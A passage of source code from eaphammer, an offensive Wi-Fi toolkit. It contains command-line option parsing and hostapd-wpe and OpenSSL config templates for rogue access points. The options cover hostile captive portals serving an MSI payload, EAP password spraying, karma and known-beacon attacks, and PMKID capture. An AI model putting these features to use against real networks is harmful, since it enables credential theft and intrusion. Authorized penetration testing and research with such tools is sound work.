default=80, required=False, help='Port on which to run captive portal.') cptl_group.add_argument('--payload', dest='payload', type=str, default='profile.msi', required=False, help='Specify payload name (defaults to payload.msi test file)') cptl_group.add_argument('--portal-template', dest='portal_user_template', type=str, default='login', required=False, help='Specify template directory') cptl_group.add_argument('--portal-debug', dest='portal_debug', action='store_true', required=False, help='Show debug for portal server only') cptl_group.add_argument('--portal-https', dest='portal_https', action='store_true', required=False, help='Use HTTPS') cptl_group.add_argument('--portal-priv-key', dest='portal_private_key', type=str, required=False, help='private key') cptl_group.add_argument('--portal-fullchain', dest='portal_fullchain', type=str, required=False, help='fullchain') cptl_group.add_argument('--portal-cert', dest='portal_cert', type=str, required=False, help='cert') hp_group = parser.add_argument_group('Hostile Portal Options', 'Only applicable if --hostile-portal is used') hp_group.add_argument('--pivot', dest='pivot', action='store_true', help='Runs responder without SMB server enabled.') eap_spray_group = parser.add_argument_group('EAP Spray') eap_spray_group.add_argument('-I', '--interface-pool', dest='interface_pool', metavar='iface_n', type=str, nargs='+', default=None, help='List of interfaces available ' 'for password spray attack.') eap_spray_group.add_argument('--user-list', dest='user_list', default=None, type=str, help='Like a wordlist, except contains ' 'usernames instead of passwords. ' 'Each username should be ' 'placed on a separate line.') eap_spray_group.add_argument('--password', dest='password', default=None, type=str, help='Specify password to be ' 'sprayed across list of users.') try: if '-hh' not in sys.argv and '--advanced-help' not in sys.argv: for a in parser._actions: if a.dest != 'help' and a.dest not in BASIC_OPTIONS: a.help = argparse.SUPPRESS args = parser.parse_args() options = args.__dict__ if options['advanced_help']: parser.print_help() sys.exit() if (options['cert_wizard'] is False and options['mode_show_version'] is False and options['manual_config'] is None and options['advanced_help'] is False and options['eap_spray'] is False and options['bootstrap'] is False and options['list_templates'] is False and options['captive_portal_server_only'] is False and options['delete_template'] is False and options['create_template'] is False and options['interface'] is None): parser.print_usage() print() print('[!] Please specify a valid PHY', end=' ') print('interface using the --interface flag') sys.exit() cw_val = options['cert_wizard'] if cw_val is not None: if (options['bootstrap'] or cw_val == 'create' and options['self_signed']): if options['cn'] is None: parser.print_usage() print() print('[!] Please specify a valid CN ' 'in order to use --bootstrap mode.', end='') sys.exit() if cw_val == 'create' and not options['self_signed']: if options['ca_cert'] is None: parser.print_usage() print() print('[!] Please specify valid CA cert using the ' '--ca-cert flag. If CA private key is not ' 'included in CA cert file, it must also be ' 'specified using the --ca-key flag.', end='') sys.exit() if options['cn'] is None: parser.print_usage() print() print('[!] Please specify a valid CN in order to use ' '--bootstrap mode.', end='') sys.exit() if cw_val == 'import': if options['server_cert'] is None: parser.print_usage() print() msg = ('[!] Please specify path a server ' 'certificate using the --server-cert flag.') print(msg, end='') sys.exit() if options['delete_template']: if options['name'] is None: parser.print_usage() print() msg = ('[!] Please specify a name for your template ' 'using the --name flag.') print(msg, end='') sys.exit() if options['create_template']: if options['name'] is None: parser.print_usage() print() msg = ('[!] Please specify a name for your template ' 'using the --name flag.') print(msg, end='') sys.exit() if options['url'] is None: parser.print_usage() print() msg = ('[!] Please specify a url from which to clone ' 'clone your template using the --url flag.') print(msg, end='') sys.exit() if options['loud'] and not options['karma']: parser.print_usage() print() msg = ('[!] Cannot use --loud flag without --karma flag.') print(msg, end='') sys.exit() # sanity checks for known beacons attack if options['known_beacons']: if not options['karma']: parser.print_usage() print() msg = ('[!] Cannot use --known-beacons flag without --karma flag.') print(msg, end='') sys.exit() if options['known_ssids_file'] is None and \ options['known_ssids'] is None: parser.print_usage() print() msg = ('[!] Cannot use --known-beacons ' 'without list of known SSIDS. ' 'Please specify path to known SSIDS ' 'file with the --known-ssids-file flag, ' 'or provide a list of known SSIDS ' 'using the --known-ssids flag.') print(msg, end='') sys.exit() if options['known_ssids_file'] is not None and \ options['known_ssids'] is not None: parser.print_usage() print() msg = ('[!] Cannot use --known-ssids-file ' 'and --known-ssids flags simultaneously.') print(msg, end='') sys.exit() if options['known_ssids_file'] is not None and \ not Path(options['known_ssids_file']).is_file(): parser.print_usage() print() msg = ('[!] Specified known SSID file not found: {}'.format(options['known_ssids_file'])) print(msg, end='') sys.exit() if any([ options[a] for a in ROGUE_AP_ATTACKS ]): if options['server_cert'] is None: if options['ca_cert']: parser.print_usage() print() msg = ('[!] Cannot use --ca-cert flag at ' 'attack runtime without using ' '--server-cert flag.') print(msg, end='') sys.exit() if options['private_key']: parser.print_usage() print() msg = ('[!] Cannot use --ca-cert flag at ' 'attack runtime without using ' '--server-cert flag.') print(msg, end='') sys.exit() if options['private_key_passwd']: parser.print_usage() print() msg = ('[!] Cannot use --private-key flag at ' 'attack runtime without using ' '--server-cert flag.') print(msg, end='') sys.exit() if (options['pmkid'] and options['bssid'] is None and options['essid'] is None): parser.print_usage() print() msg = ('[!] Please specify a valid target ' 'using the --bssid or --essid flags.') print(msg, end=' ') sys.exit() if options['eap_spray']: invalid_args = False if options['user_list'] is None: print() msg = ('[!] Please specify a valid user ' 'list file using the --user-list flag.') print(msg, end=' ') invalid_args = True if options['essid'] is None: print() msg = ('[!] Please specify a valid target ' 'using the --essid flag.') print(msg, end=' ') invalid_args = True if options['password'] is None: print() msg = ('[!] Please specify password to ' 'spray using the --password flag.') print(msg, end=' ') invalid_args = True if options['interface_pool'] is None: print() msg = ('[!] Please specify a list of wireless' 'interfaces using the --interface-pool flag.') print(msg, end=' ') invalid_args = True if invalid_args: sys.exit() if options['mac_whitelist'] is not None and options['mac_blacklist'] is not None: parser.print_usage() print() msg = ('[!] Cannot use --mac-whitelist and ' '--mac-blacklist flags simultaneously.') print(msg, end='') sys.exit() if options['ssid_whitelist'] is not None and options['ssid_blacklist'] is not None: parser.print_usage() print() msg = ('[!] Cannot use --ssid-whitelist and ' '--ssid-blacklist flags simultaneously.') print(msg, end='') sys.exit() # these sanity checks probably needs to be moved somewhere else, # but whatever. fuckit shipit. if options['ssid_whitelist']: with open(options['ssid_whitelist']) as input_handle: for index,line in enumerate(input_handle): ssid = line.strip() if len(ssid) > 32: parser.print_usage() print() msg = ('[!] In SSID whitelist file {} line {}: ' 'Length of SSID {} is too long. SSIDS must ' 'have a length of no more than 32 ' 'characters.'.format(options['ssid_whitelist'], index+1, ssid)) print(msg, end='') sys.exit() if options['ssid_blacklist']: with open(options['ssid_blacklist']) as input_handle: for index,line in enumerate(input_handle): ssid = line.strip() if len(ssid) > 32: parser.print_usage() print() msg = ('[!] In SSID blacklist file {} line {}: ' 'Length of SSID {} is too long. SSIDS must ' 'have a length of no more than 32 ' 'characters.'.format(options['ssid_blacklist'], index+1, ssid)) print(msg, end='') sys.exit() except SystemExit: print() print('[!] Use -h or --help to display a list of basic options.') msg = ('[!] Use -hh or --advanced-help to ' 'display full list of extended options.') print(msg) print() raise if options['manual_config'] is not None: with open(options['manual_config']) as fd: for line in fd: if 'interface' in line: options['interface'] = line.strip().split('=')[1] if options['interface'] is None: print() msg = ('[!] Please specify a valid PHY ' 'interface in your config file.') print(msg) sys.exit() if options['negotiate'] == 'gtc-downgrade': options['negotiate'] = 'gtc_downgrade' return options eaphammer-1.14.0/core/cnf_templates.py000066400000000000000000002371241451032113400176650ustar00rootroot00000000000000client_cnf = ''' [ ca ] default_ca = CA_default [ CA_default ] dir = ./ certs = $dir crl_dir = $dir/crl database = $dir/index.txt new_certs_dir = $dir certificate = $dir/server.pem serial = $dir/serial crl = $dir/crl.pem private_key = $dir/server.key RANDFILE = $dir/.rand name_opt = ca_default cert_opt = ca_default default_days = 365 default_crl_days = 30 default_md = sha256 preserve = no policy = policy_match [ policy_match ] countryName = match stateOrProvinceName = match organizationName = match organizationalUnitName = optional commonName = supplied emailAddress = optional [ policy_anything ] countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional [ req ] prompt = no distinguished_name = client default_bits = 2048 input_password = whatever output_password = whatever [client] countryName = %s stateOrProvinceName = %s localityName = %s organizationName = %s emailAddress = %s commonName = %s ''' ca_cnf = ''' [ ca ] default_ca = CA_default [ CA_default ] dir = ./ certs = $dir crl_dir = $dir/crl database = $dir/index.txt new_certs_dir = $dir certificate = $dir/ca.pem serial = $dir/serial crl = $dir/crl.pem private_key = $dir/ca.key RANDFILE = $dir/.rand name_opt = ca_default cert_opt = ca_default default_days = 365 default_crl_days = 30 default_md = sha256 preserve = no policy = policy_match [ policy_match ] countryName = match stateOrProvinceName = match organizationName = match organizationalUnitName = optional commonName = supplied emailAddress = optional [ policy_anything ] countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional [ req ] prompt = no distinguished_name = certificate_authority default_bits = 2048 input_password = whatever output_password = whatever x509_extensions = v3_ca [v3_ca] subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer:always basicConstraints = CA:true [certificate_authority] countryName = %s stateOrProvinceName = %s localityName = %s organizationName = %s emailAddress = %s commonName = %s ''' server_cnf = ''' [ ca ] default_ca = CA_default [ CA_default ] dir = ./ certs = $dir crl_dir = $dir/crl database = $dir/index.txt new_certs_dir = $dir certificate = $dir/server.pem serial = $dir/serial crl = $dir/crl.pem private_key = $dir/server.key RANDFILE = $dir/.rand name_opt = ca_default cert_opt = ca_default default_days = 365 default_crl_days = 30 default_md = sha256 preserve = no policy = policy_match [ policy_match ] countryName = match stateOrProvinceName = match organizationName = match organizationalUnitName = optional commonName = supplied emailAddress = optional [ policy_anything ] countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional [ req ] prompt = no distinguished_name = server default_bits = 2048 input_password = whatever output_password = whatever [server] countryName = %s stateOrProvinceName = %s localityName = %s organizationName = %s emailAddress = %s commonName = %s ''' hostapd_open_cnf = ''' interface=%s ssid=%s hw_mode=%s channel=%d bssid=%s use_karma=%d # Send empty SSID in beacons and ignore probe request frames that do not # specify full SSID, i.e., require stations to know SSID. # default: disabled (0) # 1 = send empty (length=0) SSID in beacon and ignore probe request for # broadcast SSID # 2 = clear SSID (ASCII 0), but keep the original length (this may be required # with some clients that do not support empty SSID) and ignore probe # requests for broadcast SSID ignore_broadcast_ssid=%d ''' hostapd_wpe_cnf = ''' # # hostapd-wpe.conf # Brad Antoniewicz (@brad_anton) - Foundstone # ------------------------------------------------ # # Configuration file for hostapd-wpe # # General Options - Likely to need to be changed if you're using this # Interface - Probably wlan0 for 802.11, eth0 for wired interface=%s # Driver - comment this out if 802.11 #driver=wired # May have to change these depending on build location eap_user_file=%s ca_cert=%s server_cert=%s private_key=%s private_key_passwd=whatever dh_file=%s # 802.11 Options - Uncomment all if 802.11 ssid=%s hw_mode=%s channel=%d # WPE Options - Dont need to change these to make it all work # eaphammer_logfile=%s # wpe_hb_send_before_handshake=0 # Heartbleed True/False (Default: 1) # wpe_hb_send_before_appdata=0 # Heartbleed True/False (Default: 0) # wpe_hb_send_after_appdata=0 # Heartbleed True/False (Default: 0) # wpe_hb_payload_size=0 # Heartbleed 0-65535 (Default: 50000) # wpe_hb_num_repeats=0 # Heartbleed 0-65535 (Default: 1) # wpe_hb_num_tries=0 # Heartbleed 0-65535 (Default: 1) # Dont mess with unless you know what you're doing eap_server=1 eap_fast_a_id=101112131415161718191a1b1c1d1e1f eap_fast_a_id_info=hostapd-wpe eap_fast_prov=3 ieee8021x=1 pac_key_lifetime=604800 pac_key_refresh_time=86400 pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f wpa=%d wpa_key_mgmt=WPA-EAP wpa_pairwise=TKIP CCMP ############################################################################## # Everything below this line is just the standard hostapd.conf for reference # default options are set, variables set above are commented out ############################################################################### ##### hostapd configuration file ############################################## # Empty lines and lines starting with # are ignored # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for # management frames); ath0 for madwifi #interface=wlan0 # In case of madwifi, atheros, and nl80211 driver interfaces, an additional # configuration parameter, bridge, may be used to notify hostapd if the # interface is included in a bridge. This parameter is not used with Host AP # driver. If the bridge parameter is not set, the drivers will automatically # figure out the bridge interface (assuming sysfs is enabled and mounted to # /sys) and this parameter may not be needed. # # For nl80211, this parameter can be used to request the AP interface to be # added to the bridge automatically (brctl may refuse to do this before hostapd # has been started to change the interface mode). If needed, the bridge # interface is also created. #bridge=br0 # Driver interface type (hostap/wired/madwifi/test/none/nl80211/bsd); # default: hostap). nl80211 is used with all Linux mac80211 drivers. # Use driver=none if building hostapd as a standalone RADIUS server that does # not control any wireless/wired driver. # driver=hostap # hostapd event logger configuration # # Two output method: syslog and stdout (only usable if not forking to # background). # # Module bitfield (ORed bitfield of modules that will be logged; -1 = all # modules): # bit 0 (1) = IEEE 802.11 # bit 1 (2) = IEEE 802.1X # bit 2 (4) = RADIUS # bit 3 (8) = WPA # bit 4 (16) = driver interface # bit 5 (32) = IAPP # bit 6 (64) = MLME # # Levels (minimum value for logged events): # 0 = verbose debugging # 1 = debugging # 2 = informational messages # 3 = notification # 4 = warning # logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 # Interface for separate control program. If this is specified, hostapd # will create this directory and a UNIX domain socket for listening to requests # from external programs (CLI/GUI, etc.) for status information and # configuration. The socket file will be named based on the interface name, so # multiple hostapd processes/interfaces can be run at the same time if more # than one interface is used. # /var/run/hostapd is the recommended directory for sockets and by default, # hostapd_cli will use it when trying to connect with hostapd. ctrl_interface=/var/run/hostapd # Access control for the control interface can be configured by setting the # directory to allow only members of a group to use sockets. This way, it is # possible to run hostapd as root (since it needs to change network # configuration and open raw sockets) and still allow GUI/CLI components to be # run as non-root users. However, since the control interface can be used to # change the network configuration, this access needs to be protected in many # cases. By default, hostapd is configured to use gid 0 (root). If you # want to allow non-root users to use the contron interface, add a new group # and change this value to match with that group. Add users that should have # control interface access to this group. # # This variable can be a group name or gid. #ctrl_interface_group=wheel ctrl_interface_group=0 ##### IEEE 802.11 related configuration ####################################### # SSID to be used in IEEE 802.11 management frames #ssid=test # Alternative formats for configuring SSID # (double quoted string, hexdump, printf-escaped string) #ssid2="test" #ssid2=74657374 #ssid2=P"hello there" # UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding #utf8_ssid=1 # Country code (ISO/IEC 3166-1). Used to set regulatory domain. # Set as needed to indicate country in which device is operating. # This can limit available channels and transmit power. #country_code=US # Enable IEEE 802.11d. This advertises the country_code and the set of allowed # channels and transmit power levels based on the regulatory limits. The # country_code setting must be configured with the correct country for # IEEE 802.11d functions. # (default: 0 = disabled) #ieee80211d=1 # Enable IEEE 802.11h. This enables radar detection and DFS support if # available. DFS support is required on outdoor 5 GHz channels in most countries # of the world. This can be used only with ieee80211d=1. # (default: 0 = disabled) #ieee80211h=1 # Add Power Constraint element to Beacon and Probe Response frames # This config option adds Power Constraint element when applicable and Country # element is added. Power Constraint element is required by Transmit Power # Control. This can be used only with ieee80211d=1. # Valid values are 0..255. #local_pwr_constraint=3 # Set Spectrum Management subfield in the Capability Information field. # This config option forces the Spectrum Management bit to be set. When this # option is not set, the value of the Spectrum Management bit depends on whether # DFS or TPC is required by regulatory authorities. This can be used only with # ieee80211d=1 and local_pwr_constraint configured. #spectrum_mgmt_required=1 # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g, # ad = IEEE 802.11ad (60 GHz); a/g options are used with IEEE 802.11n, too, to # specify band) # Default: IEEE 802.11b #hw_mode=g # Channel number (IEEE 802.11) # (default: 0, i.e., not set) # Please note that some drivers do not use this value from hostapd and the # channel will need to be configured separately with iwconfig. # # If CONFIG_ACS build option is enabled, the channel can be selected # automatically at run time by setting channel=acs_survey or channel=0, both of # which will enable the ACS survey based algorithm. #channel=1 # ACS tuning - Automatic Channel Selection # See: http://wireless.kernel.org/en/users/Documentation/acs # # You can customize the ACS survey algorithm with following variables: # # acs_num_scans requirement is 1..100 - number of scans to be performed that # are used to trigger survey data gathering of an underlying device driver. # Scans are passive and typically take a little over 100ms (depending on the # driver) on each available channel for given hw_mode. Increasing this value # means sacrificing startup time and gathering more data wrt channel # interference that may help choosing a better channel. This can also help fine # tune the ACS scan time in case a driver has different scan dwell times. # # Defaults: #acs_num_scans=5 # Channel list restriction. This option allows hostapd to select one of the # provided channels when a channel should be automatically selected. This # is currently only used for DFS when the current channels becomes unavailable # due to radar interference, and is currently only useful when ieee80211h=1 is # set. # Default: not set (allow any enabled channel to be selected) #chanlist=100 104 108 112 116 # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535) beacon_int=100 # DTIM (delivery traffic information message) period (range 1..255): # number of beacons between DTIMs (1 = every beacon includes DTIM element) # (default: 2) dtim_period=2 # Maximum number of stations allowed in station table. New stations will be # rejected after the station table is full. IEEE 802.11 has a limit of 2007 # different association IDs, so this number should not be larger than that. # (default: 2007) max_num_sta=255 # RTS/CTS threshold; 2347 = disabled (default); range 0..2347 # If this field is not included in hostapd.conf, hostapd will not control # RTS threshold and 'iwconfig wlan# rts ' can be used to set it. rts_threshold=2347 # Fragmentation threshold; 2346 = disabled (default); range 256..2346 # If this field is not included in hostapd.conf, hostapd will not control # fragmentation threshold and 'iwconfig wlan# frag ' can be used to set # it. fragm_threshold=2346 # Rate configuration # Default is to enable all rates supported by the hardware. This configuration # item allows this list be filtered so that only the listed rates will be left # in the list. If the list is empty, all rates are used. This list can have # entries that are not in the list of rates the hardware supports (such entries # are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110. # If this item is present, at least one rate have to be matching with the rates # hardware supports. # default: use the most common supported rate setting for the selected # hw_mode (i.e., this line can be removed from configuration file in most # cases) #supported_rates=10 20 55 110 60 90 120 180 240 360 480 540 # Basic rate set configuration # List of rates (in 100 kbps) that are included in the basic rate set. # If this item is not included, usually reasonable default set is used. #basic_rates=10 20 #basic_rates=10 20 55 110 #basic_rates=60 120 240 # Short Preamble # This parameter can be used to enable optional use of short preamble for # frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance. # This applies only to IEEE 802.11b-compatible networks and this should only be # enabled if the local hardware supports use of short preamble. If any of the # associated STAs do not support short preamble, use of short preamble will be # disabled (and enabled when such STAs disassociate) dynamically. # 0 = do not allow use of short preamble (default) # 1 = allow use of short preamble #preamble=1 # Station MAC address -based authentication # Please note that this kind of access control requires a driver that uses # hostapd to take care of management frame processing and as such, this can be # used with driver=hostap or driver=nl80211, but not with driver=madwifi. # 0 = accept unless in deny list # 1 = deny unless in accept list # 2 = use external RADIUS server (accept/deny lists are searched first) macaddr_acl=0 # Accept/deny lists are read from separate files (containing list of # MAC addresses, one per line). Use absolute path name to make sure that the # files can be read on SIGHUP configuration reloads. #accept_mac_file=/etc/hostapd.accept #deny_mac_file=/etc/hostapd.deny # IEEE 802.11 specifies two authentication algorithms. hostapd can be # configured to allow both of these or only one. Open system authentication # should be used with IEEE 802.1X. # Bit fields of allowed authentication algorithms: # bit 0 = Open System Authentication # bit 1 = Shared Key Authentication (requires WEP) auth_algs=3 # Send empty SSID in beacons and ignore probe request frames that do not # specify full SSID, i.e., require stations to know SSID. # default: disabled (0) # 1 = send empty (length=0) SSID in beacon and ignore probe request for # broadcast SSID # 2 = clear SSID (ASCII 0), but keep the original length (this may be required # with some clients that do not support empty SSID) and ignore probe # requests for broadcast SSID ignore_broadcast_ssid=%d # Additional vendor specfic elements for Beacon and Probe Response frames # This parameter can be used to add additional vendor specific element(s) into # the end of the Beacon and Probe Response frames. The format for these # element(s) is a hexdump of the raw information elements (id+len+payload for # one or more elements) #vendor_elements=dd0411223301 # TX queue parameters (EDCF / bursting) # tx_queue__ # queues: data0, data1, data2, data3, after_beacon, beacon # (data0 is the highest priority queue) # parameters: # aifs: AIFS (default 2) # cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023) # cwmax: cwMax (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023); cwMax >= cwMin # burst: maximum length (in milliseconds with precision of up to 0.1 ms) for # bursting # # Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e): # These parameters are used by the access point when transmitting frames # to the clients. # # Low priority / AC_BK = background #tx_queue_data3_aifs=7 #tx_queue_data3_cwmin=15 #tx_queue_data3_cwmax=1023 #tx_queue_data3_burst=0 # Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0 # # Normal priority / AC_BE = best effort #tx_queue_data2_aifs=3 #tx_queue_data2_cwmin=15 #tx_queue_data2_cwmax=63 #tx_queue_data2_burst=0 # Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0 # # High priority / AC_VI = video #tx_queue_data1_aifs=1 #tx_queue_data1_cwmin=7 #tx_queue_data1_cwmax=15 #tx_queue_data1_burst=3.0 # Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0 # # Highest priority / AC_VO = voice #tx_queue_data0_aifs=1 #tx_queue_data0_cwmin=3 #tx_queue_data0_cwmax=7 #tx_queue_data0_burst=1.5 # Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3 # 802.1D Tag (= UP) to AC mappings # WMM specifies following mapping of data frames to different ACs. This mapping # can be configured using Linux QoS/tc and sch_pktpri.o module. # 802.1D Tag 802.1D Designation Access Category WMM Designation # 1 BK AC_BK Background # 2 - AC_BK Background # 0 BE AC_BE Best Effort # 3 EE AC_BE Best Effort # 4 CL AC_VI Video # 5 VI AC_VI Video # 6 VO AC_VO Voice # 7 NC AC_VO Voice # Data frames with no priority information: AC_BE # Management frames: AC_VO # PS-Poll frames: AC_BE # Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e): # for 802.11a or 802.11g networks # These parameters are sent to WMM clients when they associate. # The parameters will be used by WMM clients for frames transmitted to the # access point. # # note - txop_limit is in units of 32microseconds # note - acm is admission control mandatory flag. 0 = admission control not # required, 1 = mandatory # note - here cwMin and cmMax are in exponent form. the actual cw value used # will be (2^n)-1 where n is the value given here # wmm_enabled=1 # # WMM-PS Unscheduled Automatic Power Save Delivery [U-APSD] # Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver) #uapsd_advertisement_enabled=1 # # Low priority / AC_BK = background wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 # Note: for IEEE 802.11b mode: cWmin=5 cWmax=10 # # Normal priority / AC_BE = best effort wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 # Note: for IEEE 802.11b mode: cWmin=5 cWmax=7 # # High priority / AC_VI = video wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 # Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188 # # Highest priority / AC_VO = voice wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 # Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102 # Static WEP key configuration # # The key number to use when transmitting. # It must be between 0 and 3, and the corresponding key must be set. # default: not set #wep_default_key=0 # The WEP keys to use. # A key may be a quoted string or unquoted hexadecimal digits. # The key length should be 5, 13, or 16 characters, or 10, 26, or 32 # digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or # 128-bit (152-bit) WEP is used. # Only the default key must be supplied; the others are optional. # default: not set #wep_key0=123456789a #wep_key1="vwxyz" #wep_key2=0102030405060708090a0b0c0d #wep_key3=".2.4.6.8.0.23" # Station inactivity limit # # If a station does not send anything in ap_max_inactivity seconds, an # empty data frame is sent to it in order to verify whether it is # still in range. If this frame is not ACKed, the station will be # disassociated and then deauthenticated. This feature is used to # clear station table of old entries when the STAs move out of the # range. # # The station can associate again with the AP if it is still in range; # this inactivity poll is just used as a nicer way of verifying # inactivity; i.e., client will not report broken connection because # disassociation frame is not sent immediately without first polling # the STA with a data frame. # default: 300 (i.e., 5 minutes) #ap_max_inactivity=300 # # The inactivity polling can be disabled to disconnect stations based on # inactivity timeout so that idle stations are more likely to be disconnected # even if they are still in range of the AP. This can be done by setting # skip_inactivity_poll to 1 (default 0). #skip_inactivity_poll=0 # Disassociate stations based on excessive transmission failures or other # indications of connection loss. This depends on the driver capabilities and # may not be available with all drivers. #disassoc_low_ack=1 # Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to # remain asleep). Default: 65535 (no limit apart from field size) #max_listen_interval=100 # WDS (4-address frame) mode with per-station virtual interfaces # (only supported with driver=nl80211) # This mode allows associated stations to use 4-address frames to allow layer 2 # bridging to be used. #wds_sta=1 # If bridge parameter is set, the WDS STA interface will be added to the same # bridge by default. This can be overridden with the wds_bridge parameter to # use a separate bridge. #wds_bridge=wds-br0 # Start the AP with beaconing disabled by default. #start_disabled=0 # Client isolation can be used to prevent low-level bridging of frames between # associated stations in the BSS. By default, this bridging is allowed. #ap_isolate=1 # Fixed BSS Load value for testing purposes # This field can be used to configure hostapd to add a fixed BSS Load element # into Beacon and Probe Response frames for testing purposes. The format is # :: #bss_load_test=12:80:20000 ##### IEEE 802.11n related configuration ###################################### # ieee80211n: Whether IEEE 802.11n (HT) is enabled # 0 = disabled (default) # 1 = enabled # Note: You will also need to enable WMM for full HT functionality. #ieee80211n=1 # ht_capab: HT capabilities (list of flags) # LDPC coding capability: [LDPC] = supported # Supported channel width set: [HT40-] = both 20 MHz and 40 MHz with secondary # channel below the primary channel; [HT40+] = both 20 MHz and 40 MHz # with secondary channel above the primary channel # (20 MHz only if neither is set) # Note: There are limits on which channels can be used with HT40- and # HT40+. Following table shows the channels that may be available for # HT40- and HT40+ use per IEEE 802.11n Annex J: # freq HT40- HT40+ # 2.4 GHz 5-13 1-7 (1-9 in Europe/Japan) # 5 GHz 40,48,56,64 36,44,52,60 # (depending on the location, not all of these channels may be available # for use) # Please note that 40 MHz channels may switch their primary and secondary # channels if needed or creation of 40 MHz channel maybe rejected based # on overlapping BSSes. These changes are done automatically when hostapd # is setting up the 40 MHz channel. # Spatial Multiplexing (SM) Power Save: [SMPS-STATIC] or [SMPS-DYNAMIC] # (SMPS disabled if neither is set) # HT-greenfield: [GF] (disabled if not set) # Short GI for 20 MHz: [SHORT-GI-20] (disabled if not set) # Short GI for 40 MHz: [SHORT-GI-40] (disabled if not set) # Tx STBC: [TX-STBC] (disabled if not set) # Rx STBC: [RX-STBC1] (one spatial stream), [RX-STBC12] (one or two spatial # streams), or [RX-STBC123] (one, two, or three spatial streams); Rx STBC # disabled if none of these set # HT-delayed Block Ack: [DELAYED-BA] (disabled if not set) # Maximum A-MSDU length: [MAX-AMSDU-7935] for 7935 octets (3839 octets if not # set) # DSSS/CCK Mode in 40 MHz: [DSSS_CCK-40] = allowed (not allowed if not set) # 40 MHz intolerant [40-INTOLERANT] (not advertised if not set) # L-SIG TXOP protection support: [LSIG-TXOP-PROT] (disabled if not set) #ht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40] # Require stations to support HT PHY (reject association if they do not) #require_ht=1 # If set non-zero, require stations to perform scans of overlapping # channels to test for stations which would be affected by 40 MHz traffic. # This parameter sets the interval in seconds between these scans. This # is useful only for testing that stations properly set the OBSS interval, # since the other parameters in the OBSS scan parameters IE are set to 0. #obss_interval=0 ##### IEEE 802.11ac related configuration ##################################### # ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled # 0 = disabled (default) # 1 = enabled # Note: You will also need to enable WMM for full VHT functionality. #ieee80211ac=1 # vht_capab: VHT capabilities (list of flags) # # vht_max_mpdu_len: [MAX-MPDU-7991] [MAX-MPDU-11454] # Indicates maximum MPDU length # 0 = 3895 octets (default) # 1 = 7991 octets # 2 = 11454 octets # 3 = reserved # # supported_chan_width: [VHT160] [VHT160-80PLUS80] # Indicates supported Channel widths # 0 = 160 MHz & 80+80 channel widths are not supported (default) # 1 = 160 MHz channel width is supported # 2 = 160 MHz & 80+80 channel widths are supported # 3 = reserved # # Rx LDPC coding capability: [RXLDPC] # Indicates support for receiving LDPC coded pkts # 0 = Not supported (default) # 1 = Supported # # Short GI for 80 MHz: [SHORT-GI-80] # Indicates short GI support for reception of packets transmitted with TXVECTOR # params format equal to VHT and CBW = 80Mhz # 0 = Not supported (default) # 1 = Supported # # Short GI for 160 MHz: [SHORT-GI-160] # Indicates short GI support for reception of packets transmitted with TXVECTOR # params format equal to VHT and CBW = 160Mhz # 0 = Not supported (default) # 1 = Supported # # Tx STBC: [TX-STBC-2BY1] # Indicates support for the transmission of at least 2x1 STBC # 0 = Not supported (default) # 1 = Supported # # Rx STBC: [RX-STBC-1] [RX-STBC-12] [RX-STBC-123] [RX-STBC-1234] # Indicates support for the reception of PPDUs using STBC # 0 = Not supported (default) # 1 = support of one spatial stream # 2 = support of one and two spatial streams # 3 = support of one, two and three spatial streams # 4 = support of one, two, three and four spatial streams # 5,6,7 = reserved # # SU Beamformer Capable: [SU-BEAMFORMER] # Indicates support for operation as a single user beamformer # 0 = Not supported (default) # 1 = Supported # # SU Beamformee Capable: [SU-BEAMFORMEE] # Indicates support for operation as a single user beamformee # 0 = Not supported (default) # 1 = Supported # # Compressed Steering Number of Beamformer Antennas Supported: [BF-ANTENNA-2] # Beamformee's capability indicating the maximum number of beamformer # antennas the beamformee can support when sending compressed beamforming # feedback # If SU beamformer capable, set to maximum value minus 1 # else reserved (default) # # Number of Sounding Dimensions: [SOUNDING-DIMENSION-2] # Beamformer's capability indicating the maximum value of the NUM_STS parameter # in the TXVECTOR of a VHT NDP # If SU beamformer capable, set to maximum value minus 1 # else reserved (default) # # MU Beamformer Capable: [MU-BEAMFORMER] # Indicates support for operation as an MU beamformer # 0 = Not supported or sent by Non-AP STA (default) # 1 = Supported # # MU 